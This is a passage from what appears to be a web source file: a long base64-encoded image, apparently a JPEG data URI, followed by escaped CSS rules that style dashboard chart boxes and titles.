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
gtkhDYsFC+
+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
pLo8iS4FgNJkTEqaWpO51JSkEp36Aj
fFU24rqHtbjxBItfqb1UqMidJI5shxTq7dLk3sB2Hl6YuxtoLk86YyPpCknUoDBVnLdax+GEkmGjOciOyb9
bq/XBCNzUaIhvNK8+CmdXKLVmEqdXp1Dwhdrgk7YwtSxvNjIXpPgbVjg5LSP4LsOpZdpXE3JVTyJOkpjQsw
MoLD4X4Y0xB1xnVDuNfhIO1j6YwsGQMf5R4XtPiLDGoYYmHJA/iD2P3dr8+uL3Dtvh9V3soVBwSK/EcIqfK
VduM5/8KP3yOpV2vbzx0sEtr5+17T2xddqsVtAE2Wq/YW6jGg3lcY5oBIUlmkPvNIfCFFKhfZJ1W87fXE6U
KRCNFTAWzKaTpKNWohXXe30+eHCZe1apiS6hFkeAgXO/
+vhhybSW2TSUSm2pDrqkrWdZUB9RiKcC0yR83zudFfRGYU/EQEofkFTyrgDoFGyL23sPMXwirMB8s7u0da4
h54kpIeznWraTblzVtp9RpQQP0xjZMYc5d/oue9kYLTStfiFxOq+Z4MSo1ipvyn4aExDzCE2bBJbUG0gJQA
Lp2A6AY6XdXS8uLACVUTtYdrU5yGhCliQjQlaDqDboN0LN9ttwR/F6YE5ydrKKVauXW0rblSIMUj8nNu4Fe
YSi5B9MQ3BEQCpohuPiUuW66ZCQ4Shm1zuFbqPmD274GeVNR3TGMVsobWdKlpupQB7HoB8cPVhJRQnmrCG2
zdRAAvfECa5UmNLztbySuluDf2bqLTqFD4qcdp/3Jlx+7tNgKVomVXR15ST0b7Fy1vI3xm5Uksh2x9Lv9C0
nExGefmuG4cgfC+42cZXc9Lj5dy/AZomVaZ4KfTYqdDSEDbUoD3lHuVb4tY2A1rd7u1l+IPE75HfdIDTFT6
yXD4Bi+R8LjxR5dytzDagbnfDk30nJtSLDy+mGHSZLOboSI7zMxLh/FBSpJIsLdCPjiDvlSCEU+qS6XIbqF
PkyIslhQUy+y6W1oV5pUNwfhiFp13fNrUvMv/h4VPNOW6fV6tmvPFWpWSqxy4a3nZTkJx+Wp1IGoqPLQ0lS
wO24uScFc7c3hBoB1lcPDLs2jVBEXNNPm0tRUm7cuMtkkH+0BiAFdo3B6TKmBS5TdmUtOpsAnl7j9P8AHBB
SR4XogtRwkIYaQNWgGwuP8dzfDqO4DkpKqaS0+DawUL4C/tODanZdXqloQLXURYHobG/
+GJMTFPGZjG9gLd2EpWpKClOpIXcdbi+
+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
DTRRHpzTZ0ufxWJuDve+9sCe2lq4S//Z\x22);\x0a\x09\x09\x09\x09\x09\x0a\x09color:whitesm
oke;\x0a\x09font-
family:\x22Open\x20Sans\x22,\x22Helvetica\x20Neue\x22,Helvetica,Arial,sans-
serif;\x0a\x09z-
index:10;\x0a\x09position:absolute;\x0a\x09top:0;\x0a\x09right:0;\x0a\x09opacity:\x
200.9;\x0a}\x0a.boxChart{\x0a\x09border:1px\x20solid\x20white;\x0a\x09border-
radius:10px;\x0a\x09background-
color:transparent;\x0a\x09color:whitesmoke;\x0a\x09z-
index:10;\x0a\x09position:absolute;\x0a\x09top:0;\x0a\x09right:400\x0a}\x0a.boxTitl
e{\x0a\x09text-align:center;\x0a\x09padding:8px\x208px\x205px\x208px;\x0a\x09font-
weight:bold;\x0a\x09border-bottom:solid#181a1e\x0a}\x0a.boxScon{\x0a\x09text-
align:center;\x0a\x09padding:10px\x208px\x205px\x208px;\x0a\x09border-
